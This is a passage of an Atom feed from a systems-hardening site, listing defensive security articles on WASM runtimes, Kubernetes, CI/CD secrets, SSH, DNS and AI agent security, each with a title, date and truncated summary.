    <link href="https://www.systemshardening.com/articles/wasm/wasm-oci-signing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-oci-signing/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>OCI WASM Module Signing and Verification: cosign, notation, and Admission-Time Enforcement
Problem
WebAssembly modules are distributed through OCI registries — the same ghcr.io, quay.io, docker.io,...</summary>
  </entry>
  
  <entry>
    <title>WASM Workloads on Kubernetes: runwasi, Spin, and the Threat Model Shift from OCI Containers</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-on-kubernetes/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-on-kubernetes/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Workloads on Kubernetes: runwasi, Spin, and the Threat Model Shift from OCI Containers
Problem
WebAssembly workloads now run on Kubernetes the same way containers do: a Pod manifest, an OCI...</summary>
  </entry>
  
  <entry>
    <title>WASM Module Static Analysis and Vulnerability Scanning: wasm-tools, twiggy, and CVE Detection</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-static-analysis/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-static-analysis/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Module Static Analysis and Vulnerability Scanning: wasm-tools, twiggy, and CVE Detection
Problem
Container scanning is a mature ecosystem: Trivy, Grype, Snyk, Anchore, and many others ingest...</summary>
  </entry>
  
  <entry>
    <title>Wasmtime Production Hardening: Fuel, Memory, Epoch Interrupts, and WASI Capability Allowlists</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmtime-production-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmtime-production-hardening/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Wasmtime Production Hardening: Fuel, Memory, Epoch Interrupts, and WASI Capability Allowlists
Problem
Wasmtime is the most widely-deployed standalone WebAssembly runtime — used inside Spin, wasmCloud,...</summary>
  </entry>
  
  <entry>
    <title>Wazero Hardening for Go Embedders: Resource Limits, WASI Capabilities, and Plugin Isolation</title>
    <link href="https://www.systemshardening.com/articles/wasm/wazero-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wazero-hardening/</id>
    <published>2026-04-27T00:00:00.000Z</published>
    <updated>2026-04-27T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Wazero Hardening for Go Embedders: Resource Limits, WASI Capabilities, and Plugin Isolation
Problem
Wazero is a WebAssembly runtime written entirely in Go, with no CGo and no external dependencies. By...</summary>
  </entry>
  
  <entry>
    <title>Agent Memory Poisoning: Defending the Persistence Layer of Long-Running LLM Agents</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/agent-memory-poisoning/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/agent-memory-poisoning/</id>
    <published>2026-04-24T00:00:00.000Z</published>
    <updated>2026-04-24T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Agent Memory Poisoning: Defending the Persistence Layer of Long-Running LLM Agents
Problem
Long-running agents need memory. Without it, every session starts from scratch — the agent cannot recall user...</summary>
  </entry>
  
  <entry>
    <title>CI/CD Pipeline Egress Control: Runner Network Isolation, Allowlists, and Supply-Chain Exfiltration Defense</title>
    <link href="https://www.systemshardening.com/articles/cicd/pipeline-egress-control/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/pipeline-egress-control/</id>
    <published>2026-04-24T00:00:00.000Z</published>
    <updated>2026-04-24T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>CI/CD Pipeline Egress Control: Runner Network Isolation, Allowlists, and Supply-Chain Exfiltration Defense
Problem
A typical CI/CD runner has:

The repository’s full source, including any embedded...</summary>
  </entry>
  
  <entry>
    <title>Post-Quantum Crypto Migration Plan: Hybrid TLS, SSH, Code Signing, and Encryption at Rest</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/post-quantum-migration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/post-quantum-migration/</id>
    <published>2026-04-24T00:00:00.000Z</published>
    <updated>2026-04-24T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Post-Quantum Crypto Migration Plan: Hybrid TLS, SSH, Code Signing, and Encryption at Rest
Problem
Shor’s algorithm breaks RSA, DSA, and elliptic-curve cryptography in polynomial time on a sufficiently...</summary>
  </entry>
  
  <entry>
    <title>Gateway API Security Patterns: Multi-Team Routing, ReferenceGrant, and Delegated Trust on Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/gateway-api-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/gateway-api-security/</id>
    <published>2026-04-24T00:00:00.000Z</published>
    <updated>2026-04-24T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Gateway API Security Patterns: Multi-Team Routing, ReferenceGrant, and Delegated Trust on Kubernetes
Problem
Kubernetes Ingress has a single resource type and a single implicit trust model: whoever...</summary>
  </entry>
  
  <entry>
    <title>io_uring Security and Hardening: Disabling, Restricting, and Auditing a Bypass-Prone Syscall Interface</title>
    <link href="https://www.systemshardening.com/articles/linux/io-uring-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/io-uring-hardening/</id>
    <published>2026-04-24T00:00:00.000Z</published>
    <updated>2026-04-24T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>io_uring Security and Hardening: Disabling, Restricting, and Auditing a Bypass-Prone Syscall Interface
Problem
io_uring is a high-performance asynchronous I/O interface introduced in Linux 5.1....</summary>
  </entry>
  
  <entry>
    <title>HTTP/3 and QUIC Production Hardening: UDP Amplification, 0-RTT Replay, and Connection ID Privacy</title>
    <link href="https://www.systemshardening.com/articles/network/http3-quic-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/http3-quic-hardening/</id>
    <published>2026-04-24T00:00:00.000Z</published>
    <updated>2026-04-24T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>HTTP/3 and QUIC Production Hardening: UDP Amplification, 0-RTT Replay, and Connection ID Privacy
Problem
QUIC (RFC 9000) replaces TCP+TLS+HTTP/2 with an integrated transport that encrypts both the...</summary>
  </entry>
  
  <entry>
    <title>Detection-as-Code with Sigma: Versioned, Tested, Vendor-Neutral SIEM Rules</title>
    <link href="https://www.systemshardening.com/articles/observability/detection-as-code-sigma/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/detection-as-code-sigma/</id>
    <published>2026-04-24T00:00:00.000Z</published>
    <updated>2026-04-24T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Detection-as-Code with Sigma: Versioned, Tested, Vendor-Neutral SIEM Rules
Problem
Most security teams maintain detection logic in three incompatible places: the SIEM’s rule editor (Splunk SPL,...</summary>
  </entry>
  
  <entry>
    <title>AI-Adaptive Malware: How Modern Payloads Change Behaviour Based on Their Environment and How to Defend Against Them</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-adaptive-malware-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-adaptive-malware-defence/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Adaptive Malware: How Modern Payloads Change Behaviour Based on Their Environment and How to Defend Against Them
Problem
A virus in 2020 was a static binary. It had one payload, one persistence...</summary>
  </entry>
  
  <entry>
    <title>Running AI-Powered Security Assessments on Your Own Infrastructure: Using Frontier Models Before Attackers Do</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-powered-security-assessments/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-powered-security-assessments/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Running AI-Powered Security Assessments on Your Own Infrastructure: Using Frontier Models Before Attackers Do
Problem
Anthropic announced that Mythos is significantly better at discovering cyber...</summary>
  </entry>
  
  <entry>
    <title>Defending Against AI-Amplified Social Engineering: Phishing, Voice Cloning, and Deepfake Impersonation</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-social-engineering-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-social-engineering-defence/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Defending Against AI-Amplified Social Engineering: Phishing, Voice Cloning, and Deepfake Impersonation
Problem
Every traditional indicator of phishing is gone.
In 2020, a phishing email was...</summary>
  </entry>
  
  <entry>
    <title>Mythos and the Vulnerability Classes AI Finds First: Eliminating Your Highest-Risk Attack Surface</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mythos-proactive-attack-surface-reduction/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mythos-proactive-attack-surface-reduction/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Mythos and the Vulnerability Classes AI Finds First: Eliminating Your Highest-Risk Attack Surface
Problem
Anthropic announced that Mythos, their frontier AI model, is significantly better at...</summary>
  </entry>
  
  <entry>
    <title>Software Supply Chain and Third-Party Exposure: Defending Against Upstream Compromise</title>
    <link href="https://www.systemshardening.com/articles/cicd/software-supply-chain-third-party-risk/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/software-supply-chain-third-party-risk/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Software Supply Chain and Third-Party Exposure: Defending Against Upstream Compromise
Problem
The most efficient way to compromise 10,000 organisations is to compromise one library they all depend...</summary>
  </entry>
  
  <entry>
    <title>Identity Abuse and Credential Compromise: Defending Against Attackers Who Log In Instead of Break In</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/identity-abuse-credential-compromise/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/identity-abuse-credential-compromise/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Identity Abuse and Credential Compromise: Defending Against Attackers Who Log In Instead of Break In
Problem
The primary intrusion method has shifted. By 2026, nearly 80% of detected intrusions are...</summary>
  </entry>
  
  <entry>
    <title>Ransomware 3.0 and Multi-Stage Extortion: Defence, Detection, and Recovery</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/ransomware-multi-extortion-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/ransomware-multi-extortion-defence/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Ransomware 3.0 and Multi-Stage Extortion: Defence, Detection, and Recovery
Problem
Ransomware in 2020 was straightforward: encrypt the victim’s files, demand payment for the decryption key. If you had...</summary>
  </entry>
  
  <entry>
    <title>LLMs on Kubernetes: Understanding the Threat Model and Deploying an LLM Gateway</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/llm-kubernetes-threat-model/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/llm-kubernetes-threat-model/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>LLMs on Kubernetes: Understanding the Threat Model and Deploying an LLM Gateway
Problem
A standard Ollama deployment on Kubernetes looks operationally sound: pods are healthy, readiness probes pass,...</summary>
  </entry>
  
  <entry>
    <title>Secure Cloud VM Access: SSH Key Authentication, Two-Factor Login, VPN, and Audit Logging</title>
    <link href="https://www.systemshardening.com/articles/linux/secure-cloud-vm-access/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/secure-cloud-vm-access/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Secure Cloud VM Access: SSH Key Authentication, Two-Factor Login, VPN, and Audit Logging
Problem
A cloud VM with SSH exposed on port 22 to the public internet receives thousands of brute-force login...</summary>
  </entry>
  
  <entry>
    <title>DDoS Megascale Operations: Defending Against AI-Orchestrated Terabit Attacks and Botnet Smokescreens</title>
    <link href="https://www.systemshardening.com/articles/network/ddos-megascale-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ddos-megascale-defence/</id>
    <published>2026-04-23T00:00:00.000Z</published>
    <updated>2026-04-23T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>DDoS Megascale Operations: Defending Against AI-Orchestrated Terabit Attacks and Botnet Smokescreens
Problem
DDoS attacks have crossed the terabit-per-second threshold and they are not slowing down....</summary>
  </entry>
  
  <entry>
    <title>Secret Management in CI/CD Pipelines: Vault, SOPS, and OIDC Federation</title>
    <link href="https://www.systemshardening.com/articles/cicd/cicd-secret-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/cicd-secret-management/</id>
    <published>2026-04-21T00:00:00.000Z</published>
    <updated>2026-04-21T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Secret Management in CI/CD Pipelines: Vault, SOPS, and OIDC Federation
Problem
Static credentials in CI/CD pipelines are the leading cause of secret sprawl. Teams store long-lived API keys, database...</summary>
  </entry>
  
  <entry>
    <title>IPv6 Security in Production: Hardening Dual-Stack Deployments</title>
    <link href="https://www.systemshardening.com/articles/network/ipv6-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ipv6-security/</id>
    <published>2026-04-21T00:00:00.000Z</published>
    <updated>2026-04-21T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>IPv6 Security in Production: Hardening Dual-Stack Deployments
Problem
Most production environments run dual-stack (IPv4 and IPv6) whether the team intended it or not. Linux enables IPv6 by default....</summary>
  </entry>
  
  <entry>
    <title>Software Bill of Materials (SBOM) Generation and Consumption in CI/CD</title>
    <link href="https://www.systemshardening.com/articles/cicd/sbom/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/sbom/</id>
    <published>2026-04-19T00:00:00.000Z</published>
    <updated>2026-04-19T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Software Bill of Materials (SBOM) Generation and Consumption in CI/CD
Problem
SBOM generation is easy, run Syft, get a list of every package in your container image. SBOM consumption is hard: when a...</summary>
  </entry>
  
  <entry>
    <title>Training Data Extraction Prevention: Stopping Models from Leaking Memorised Data</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/training-data-extraction/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/training-data-extraction/</id>
    <published>2026-04-16T00:00:00.000Z</published>
    <updated>2026-04-16T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Training Data Extraction Prevention: Stopping Models from Leaking Memorised Data
Problem
Large language models memorise portions of their training data. Given the right prompt, a model will reproduce...</summary>
  </entry>
  
  <entry>
    <title>SSH Hardening Beyond the Basics: Certificate Authentication, Jump Hosts, and Logging</title>
    <link href="https://www.systemshardening.com/articles/linux/ssh-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/ssh-hardening/</id>
    <published>2026-04-16T00:00:00.000Z</published>
    <updated>2026-04-16T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>SSH Hardening Beyond the Basics: Certificate Authentication, Jump Hosts, and Logging
Problem
Every SSH hardening guide starts and ends with the same three changes: disable root login, require...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Node Hardening: From OS Configuration to kubelet Lockdown</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/node-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/node-hardening/</id>
    <published>2026-04-15T00:00:00.000Z</published>
    <updated>2026-04-15T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Node Hardening: From OS Configuration to kubelet Lockdown
Problem
A Kubernetes node is a Linux machine running kubelet, a container runtime, and your workloads. If the node is compromised,...</summary>
  </entry>
  
  <entry>
    <title>Security Dashboards That Engineers Actually Use: Grafana Designs for Hardening Verification</title>
    <link href="https://www.systemshardening.com/articles/observability/security-dashboards/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/security-dashboards/</id>
    <published>2026-04-13T00:00:00.000Z</published>
    <updated>2026-04-13T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Security Dashboards That Engineers Actually Use: Grafana Designs for Hardening Verification
Problem
Most security dashboards are vanity metrics, total alerts this month, pie charts of vulnerability...</summary>
  </entry>
  
  <entry>
    <title>Model Extraction Prevention: Detecting and Blocking Model Stealing Through API Queries</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/model-extraction-prevention/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/model-extraction-prevention/</id>
    <published>2026-04-12T00:00:00.000Z</published>
    <updated>2026-04-12T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Model Extraction Prevention: Detecting and Blocking Model Stealing Through API Queries
Problem
Model extraction (model stealing) is an attack where an adversary queries a production ML API...</summary>
  </entry>
  
  <entry>
    <title>GPU Workload Isolation: MIG, MPS, and vGPU Security Boundaries</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/gpu-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/gpu-isolation/</id>
    <published>2026-04-12T00:00:00.000Z</published>
    <updated>2026-04-12T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>GPU Workload Isolation: MIG, MPS, and vGPU Security Boundaries
Problem
Multi-tenant GPU sharing without isolation risks data leakage between workloads through shared GPU memory. NVIDIA offers three...</summary>
  </entry>
  
  <entry>
    <title>gRPC API Gateway Patterns: Authentication, Rate Limiting, and Request Validation at the Edge</title>
    <link href="https://www.systemshardening.com/articles/network/grpc-api-gateway-patterns/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/grpc-api-gateway-patterns/</id>
    <published>2026-04-12T00:00:00.000Z</published>
    <updated>2026-04-12T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>gRPC API Gateway Patterns: Authentication, Rate Limiting, and Request Validation at the Edge
Problem
Exposing gRPC services through an API gateway introduces security problems that do not exist with...</summary>
  </entry>
  
  <entry>
    <title>Securing AI Agents in Production: Tool-Use Boundaries, Credential Scoping, and Output Verification</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/securing-ai-agents/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/securing-ai-agents/</id>
    <published>2026-04-11T00:00:00.000Z</published>
    <updated>2026-04-11T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Securing AI Agents in Production: Tool-Use Boundaries, Credential Scoping, and Output Verification
Problem
AI agents are being deployed with production tool access: shell execution, kubectl, terraform...</summary>
  </entry>
  
  <entry>
    <title>Hardening DNS Resolution on Linux: systemd-resolved, Unbound, and DNS-over-TLS</title>
    <link href="https://www.systemshardening.com/articles/linux/dns-resolution-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/dns-resolution-hardening/</id>
    <published>2026-04-11T00:00:00.000Z</published>
    <updated>2026-04-11T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening DNS Resolution on Linux: systemd-resolved, Unbound, and DNS-over-TLS
Problem
Most Linux hosts resolve DNS in plaintext over UDP port 53. On a stock Ubuntu 24.04 or RHEL 9 system:

Every DNS...</summary>
  </entry>
  
  <entry>
    <title>The Hardening Scorecard: Measuring and Tracking Security Posture</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/hardening-scorecard/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/hardening-scorecard/</id>
    <published>2026-04-10T00:00:00.000Z</published>
    <updated>2026-04-10T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>The Hardening Scorecard: Measuring and Tracking Security Posture
Problem
“Are we more secure than last month?” is a question most teams cannot answer. Security tools produce individual outputs:...</summary>
  </entry>
  
  <entry>
    <title>NGINX Hardening Beyond TLS: Request Filtering, Buffer Limits, and Connection Controls</title>
    <link href="https://www.systemshardening.com/articles/network/nginx-hardening-beyond-tls/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/nginx-hardening-beyond-tls/</id>
    <published>2026-04-10T00:00:00.000Z</published>
    <updated>2026-04-10T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>NGINX Hardening Beyond TLS: Request Filtering, Buffer Limits, and Connection Controls
Problem
Most NGINX hardening guides stop at TLS configuration, cipher suites, certificate setup, HSTS. In...</summary>
  </entry>
  
  <entry>
    <title>OpenTelemetry for Security: Distributed Tracing of Authentication and Authorization Flows</title>
    <link href="https://www.systemshardening.com/articles/observability/otel-security-tracing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/otel-security-tracing/</id>
    <published>2026-04-09T00:00:00.000Z</published>
    <updated>2026-04-09T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OpenTelemetry for Security: Distributed Tracing of Authentication and Authorization Flows
Problem
Distributed tracing is standard for performance debugging, but almost no team uses it for security....</summary>
  </entry>
  
  <entry>
    <title>Building an AI Governance Pipeline: Automated Checks from Training to Production</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-governance-pipeline/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-governance-pipeline/</id>
    <published>2026-04-08T00:00:00.000Z</published>
    <updated>2026-04-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Building an AI Governance Pipeline: Automated Checks from Training to Production
Problem
AI governance in most organisations is a manual process. A model is trained, someone writes a document, a...</summary>
  </entry>
  
  <entry>
    <title>Hardening the Linux Kernel Attack Surface with sysctl and Boot Parameters</title>
    <link href="https://www.systemshardening.com/articles/linux/sysctl-kernel-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/sysctl-kernel-hardening/</id>
    <published>2026-04-08T00:00:00.000Z</published>
    <updated>2026-04-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Hardening the Linux Kernel Attack Surface with sysctl and Boot Parameters
Problem
Linux kernels ship with defaults optimised for compatibility, not security. On a stock Ubuntu 24.04 or RHEL 9...</summary>
  </entry>
  
  <entry>
    <title>OpenTelemetry Collector Pipelines: Securing Receivers, Processors, and Exporters</title>
    <link href="https://www.systemshardening.com/articles/observability/otel-collector-pipelines/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/otel-collector-pipelines/</id>
    <published>2026-04-08T00:00:00.000Z</published>
    <updated>2026-04-08T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OpenTelemetry Collector Pipelines: Securing Receivers, Processors, and Exporters
Problem
The OpenTelemetry Collector is a vendor-neutral proxy that receives, processes, and exports telemetry data. Out...</summary>
  </entry>
  
  <entry>
    <title>GPU Cost and Security Monitoring: Detecting Abuse and Optimising Spend</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/gpu-cost-security-monitoring/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/gpu-cost-security-monitoring/</id>
    <published>2026-04-06T00:00:00.000Z</published>
    <updated>2026-04-06T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>GPU Cost and Security Monitoring: Detecting Abuse and Optimising Spend
Problem
GPU compute costs between $2 and $30 per hour per device. A single unauthorised cryptocurrency mining pod running on an...</summary>
  </entry>
  
  <entry>
    <title>Rate Limiting at the Ingress Layer: NGINX, Envoy, and Cloud Load Balancers Compared</title>
    <link href="https://www.systemshardening.com/articles/network/rate-limiting-ingress/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/rate-limiting-ingress/</id>
    <published>2026-04-06T00:00:00.000Z</published>
    <updated>2026-04-06T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Rate Limiting at the Ingress Layer: NGINX, Envoy, and Cloud Load Balancers Compared
Problem
Rate limiting is the first line of defence against abuse, credential stuffing, API scraping, and...</summary>
  </entry>
  
  <entry>
    <title>Protecting Internal APIs: Network Segmentation, Authentication, and Access Logging</title>
    <link href="https://www.systemshardening.com/articles/network/internal-api-protection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/internal-api-protection/</id>
    <published>2026-04-05T00:00:00.000Z</published>
    <updated>2026-04-05T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Protecting Internal APIs: Network Segmentation, Authentication, and Access Logging
Problem
“It’s internal” is the most dangerous phrase in infrastructure security. Internal APIs sit behind the...</summary>
  </entry>
  
  <entry>
    <title>AI Supply Chain Attack Surface: Models, Datasets, and Inference Dependencies</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-supply-chain-attack-surface/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-supply-chain-attack-surface/</id>
    <published>2026-04-04T00:00:00.000Z</published>
    <updated>2026-04-04T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Supply Chain Attack Surface: Models, Datasets, and Inference Dependencies
Problem
AI systems introduce a supply chain attack surface that traditional software security does not cover. The three new...</summary>
  </entry>
  
  <entry>
    <title>EU AI Act Compliance for Infrastructure Teams: Risk Classification, Documentation, and Technical Controls</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/eu-ai-act-compliance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/eu-ai-act-compliance/</id>
    <published>2026-04-03T00:00:00.000Z</published>
    <updated>2026-04-03T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>EU AI Act Compliance for Infrastructure Teams: Risk Classification, Documentation, and Technical Controls
Problem
The EU AI Act entered into force in August 2024, with enforcement timelines staggered...</summary>
  </entry>
  
  <entry>
    <title>LLM Rate Limiting in Production: Token Budgets, Per-User Quotas, and Abuse Detection</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/llm-rate-limiting/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/llm-rate-limiting/</id>
    <published>2026-04-03T00:00:00.000Z</published>
    <updated>2026-04-03T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>LLM Rate Limiting in Production: Token Budgets, Per-User Quotas, and Abuse Detection
Problem
Traditional API rate limiting counts requests. One request equals one unit. This assumption collapses with...</summary>
  </entry>
  
  <entry>
    <title>Terraform Security: State File Protection, Provider Pinning, and Plan Review Automation</title>
    <link href="https://www.systemshardening.com/articles/cicd/terraform-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/terraform-security/</id>
    <published>2026-04-02T00:00:00.000Z</published>
    <updated>2026-04-02T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Terraform Security: State File Protection, Provider Pinning, and Plan Review Automation
Problem
Terraform state files contain every secret, IP address, and configuration detail of your infrastructure...</summary>
  </entry>
  
  <entry>
    <title>Runtime Security with Falco on Kubernetes: Rules, Tuning, and Response Automation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/falco-runtime-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/falco-runtime-security/</id>
    <published>2026-04-02T00:00:00.000Z</published>
    <updated>2026-04-02T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Runtime Security with Falco on Kubernetes: Rules, Tuning, and Response Automation
Problem
Prevention-only security has a binary failure mode: either the control holds and the attacker is stopped, or...</summary>
  </entry>
  
  <entry>
    <title>Load Balancer Security: Health Check Abuse, Connection Draining, and TLS Termination</title>
    <link href="https://www.systemshardening.com/articles/network/load-balancer-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/load-balancer-security/</id>
    <published>2026-04-02T00:00:00.000Z</published>
    <updated>2026-04-02T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Load Balancer Security: Health Check Abuse, Connection Draining, and TLS Termination
Problem
Load balancers sit at the most critical point in your infrastructure: every external request passes through...</summary>
  </entry>
  
  <entry>
    <title>MCP Tool Permission Patterns: Least Privilege, Approval Workflows, and Scope Boundaries</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mcp-tool-permission-patterns/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mcp-tool-permission-patterns/</id>
    <published>2026-04-01T00:00:00.000Z</published>
    <updated>2026-04-01T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>MCP Tool Permission Patterns: Least Privilege, Approval Workflows, and Scope Boundaries
Problem
An MCP server exposes a set of tools. A connected agent can invoke any of them. Out of the box, there is...</summary>
  </entry>
  
  <entry>
    <title>Claude for Application Security: Finding Logic Vulnerabilities in Source Code</title>
